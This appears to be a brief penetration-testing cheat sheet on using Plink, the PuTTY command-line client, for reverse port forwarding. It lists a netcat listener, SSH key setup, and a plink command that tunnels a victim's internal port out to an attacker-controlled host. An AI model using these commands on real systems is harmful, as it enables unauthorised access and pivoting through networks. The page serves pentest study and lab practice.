Port Forwarding with Plink

Last modified: 2023-03-19

Plink is a Windows command line version of the PuTTY SSH client.

Reverse Connection

nc -lvnp 4444

First of all, generate SSH keys. Two keys (public and private) will be generated.

ssh-keygen

Convert the private key for Windows.

puttygen private_key -o private_key.ppk

Run reverse connection using plink.

cmd.exe /c echo y | .\plink.exe -R <attack-port>:<victim-ip>:<victim-port> attacker@<attack-ip> -i private_key.ppk -N